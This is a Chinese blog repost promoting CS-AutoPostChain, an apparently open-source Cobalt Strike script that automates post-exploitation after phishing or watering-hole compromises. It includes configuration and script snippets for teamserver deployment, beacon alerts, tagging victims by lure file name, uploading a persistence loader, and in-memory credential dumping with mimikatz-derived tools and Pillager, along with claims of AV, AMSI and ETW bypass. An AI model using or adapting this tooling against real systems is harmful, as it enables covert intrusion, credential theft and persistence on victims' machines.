@lintstar师傅开源分享的基于OPSEC的CobaltStrike后渗透自动化链CS-AutoPostChain,感谢作者的分享。
项目简介
在攻防实战中发现存在以下困境:
-
鱼叉式水坑、社工钓鱼以及威胁猎捕场景下上线时间不可控,且无法二十四小时守在电脑附近,同时常见的自动权限维持插件需要提前在目标机器放置木马,并且存在维权上线然后重复维权的套娃问题 -
在HW场景下单个主机的信息收集、权限维持和凭据收集等大部分都是重复性操作,且进行CS多人协作时容易重复收集降低效率 -
已有的自动化链(上线自动执行whoami、截图等操作),大部分使用 brun、bshell、bspawn等CS原生敏感命令,容易被杀软检测关联到木马进程导致掉线,已不适应如今的攻防场景
本项目尝试将后渗透攻击链中的部分人工重复性工作借助CobaltStrike转变为自动化并兼顾隐蔽性(Bypass):
-
遵循OPSEC(Operations Security)原则,RedTeam结合C2隐匿、木马免杀、工具魔改二开、BOF、自研工具/C2、ATT&CK攻击手法等结合使用可构建完整的隐蔽自动化链 -
企业安全建设方面也可借此做自动化内网攻击编排进行内网终端侧、流量侧防护效果的验证
功能特性
-
敏感操作通过 BOF 和 C# 程序执行,避免文件落地以及隐蔽动态行为特征
-
上线主机结合智能化存活判断进行自动权限维持,杜绝重复上线 -
将 LSTAR 后渗透插件的功能函数化,为不同场景下编排定制化的自动化链提供便利 -
Bypass AV ① 动态查杀 ② Windows Defender 的 AMSI/ETW -
C# 内存加载 + BOF + 定制化免杀工具及技术 = 无限可能
流程编排
请在理解原理的情况下结合实战需求进行合理配置,整体实现思路详见:https://xz.aliyun.com/t/14076
上线微信通知
冲锋马上线时建议取消注释bsleep,上线默认激活Beacon执行自动化链内容(等效控制台Sleep 0命令)
配置Token:
http://www.pushplus.plus/push1.html,复制自己的token替换到参数定义的地方
$pushplusToken
=
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
;
$serverchanKey
=
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
;
服务端后台挂载
使用agscript在服务器端运行cna文件,和挂载CobaltStrike一样,把cna脚本也挂载到后台:
root
@
VM
-
8
-
8
-
ubuntu
:~# screen -S AutoPostChain
root@VM-
8
-
8
-ubuntu:~# ./agscript [host] [port] [user] [pass] </path/to/AutoPostChain.cna>
./agscript [host] [port] [user] [pass] <
/path/
to/file.cna>
- [user] # 后台挂载脚本时连接到teamserver的用户名。
- [pass] # 启动服务端cs时设置的密码。
- [path] # cna文件的路径。
上线提醒标记
除去常规提醒外,当有多台C2服务器时,配置好cserverName参数可以在通知标题进行上线提醒的区分:
$cserverName
=
"AT"
;
攻防场景下可通过上线进程来自动标记是针对哪个目标的终端权限上线了:
sub
Note
{
if
($processName eq
"beacon.exe"
) {
bnote($1,
"test"
);
}
else
if
($processName eq
"个人简历.exe"
) {
bnote($1,
"XX单位社工钓鱼"
);
}
else
if
($processName eq
"javaEE.exe"
) {
bnote($1,
"维权上线"
);
}
else
if
($processName eq
"Update.exe"
) {
bnote($1,
"BypassUAC上线"
);
}
}
智能化权限维持
相关工具脚本只做示例演示,请使用本项目时结合实战场景进行针对性免杀和二次开发
配置Loader
制作好免杀的维权马后放到scripts目录下,配置以下参数:
# Loader 路径
$LoaderName
=
"Update.exe"
;
$LoaderPath
=
"C:\Users\Public\"
;
$LoaderFullPath
=
$LoaderPath
.
$LoaderName
;
$b64encodeFullPath
=
"QzpcVXNlcnNcUHVibGljXFVwZGF0ZS5leGU="
;
配置用户执行链
取消注释以下代码
这里用两个场景函数进行编排示例:
NormalUser_Chain
函数用来编排不需要管理员权限即可执行的操作如信息收集、屏幕截图、上传文件等;
OnlyAdmin_Chain
函数用来编排只有管理员权限才能做的操作比如凭据获取、隐蔽权限维持等。
1. 上传木马到指定目录:
sub
UP_Loader
{
bcd($1, $LoaderPath);
blog($1,
"c9开始上传 Loader"
);
bupload($1, script_resource(
"/scripts/"
.$LoaderName));
blog($1,
"c8Loader 文件上传完成"
);
blog($1,
"c8Loader文件位置:$LoaderFullPath"
);
}
2. 调用readbof函数加载BOF并执行whoami、ipconfig、screenshot ;
3. 调用inlineExecute-Assembly函数通过SharpHostInfo扫描当前C端主机信息。
ScreenshotBOFPlus优化了能在无需注入的情况下在Windows启动全局缩放时获取完整截图
最后OnlyAdmin_Chain执行流程如下:
-
调用 inlineExecute-Assembly 函数执行 SharpKatz 工具内存中加载 mimikatz 获取主机凭据;
-
执行 Pillager BOF 程序不落地的情况下收集主机浏览器、软件、账户凭据等敏感信息; -
调用 inlineExecute-Assembly 函数执行 SharpSchTask 工具进行隐蔽权限维持。
场景流程编排
通过isadmin结合存活权限判断实现上述执行场景流程的编排:
这样通过BypassUAC二次上线管理员权限时,将只会执行OnlyAdmin_Chain($1); :
此场景流程编排仅做示例使用,请结合实际需求和实战场景移植相应BOF功能等技术进行配置。
参考项目
https:
//github.com/h0e4a0r1t/Automatic-permission-maintenance
https:
//github.com/gooderbrother/antiVirusCheck
https:
//github.com/anthemtotheego/InlineExecute-Assembly
https:
//github.com/trustedsec/CS-Situational-Awareness-BOF
https:
//github.com/qwqdanchun/Pillager
https:
//github.com/baiyies/ScreenshotBOFPlus
https:
//github.com/shmilylty/SharpHostInfo
https:
//github.com/FatRodzianko/SharpBypassUAC
https:
//github.com/0x727/SchTask_0x727
下载地址
https://github.com/lintstar/CS-AutoPostChain
原文始发于微信公众号(Hack分享吧):基于OPSEC的CS后渗透自动化链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论